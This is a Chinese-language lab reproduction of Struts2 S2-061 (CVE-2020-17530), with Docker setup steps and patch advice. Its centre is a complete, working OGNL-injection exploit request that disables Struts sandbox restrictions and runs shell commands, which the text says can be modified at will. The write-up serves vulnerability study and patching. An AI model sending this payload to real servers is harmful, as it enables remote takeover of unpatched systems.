Struts2 S2-061 遠程命令執行漏洞復現(CVE-2020-17530)
0x01 漏洞簡介
Struts在某些情況下可能存在OGNL表達式注入漏洞,如果開發人員使用了 %{…} 語法進行強制OGNL解析,某些特殊的TAG屬性可能會被雙重解析。攻擊者可以通過構造惡意的OGNL表達式來利用此漏洞,最終造成遠程程式碼執行
0x02 漏洞影響
apache:struts2:2.0.0 – 2.5.25
0x03 環境搭建
//github.com/vulhub/vulhub/tree/master/struts2/s2-061
下載docker-compose.yml後cd到文件夾,使用docker-compose up -d進行安裝,安裝完後訪問ip:8080進入環境,使用docker-compose down關閉環境
0x04 漏洞復現
首先先測試一下漏洞是否存在
payload:?id=%25%7b+%27fuxian%27+%2b+(2000+%2b+21).toString()%7d
原語句:%{ 'fuxian' + (2000 + 21).toString()}
最後可以看到html標籤a的id為fuxian2021,說明Struts2將語句給解析了,構成了RCE
exp:
POST /index.action HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 829
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
將數據包使用burpsuite的重放器來提交,注意修改host的值
可以看到有輸出語句
通過修改payload來執行不同的語句
0x05 修復建議
避免對不受信任的用戶輸入使用強制OGNL評估,或/和升級到2.5.26版,可修復該漏洞。騰訊安全專家建議受影響的用戶將Apache Struts框架升級至最新版本臨時修復,升級到 Struts 2.5.26 版本,下載地址為:
//cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.26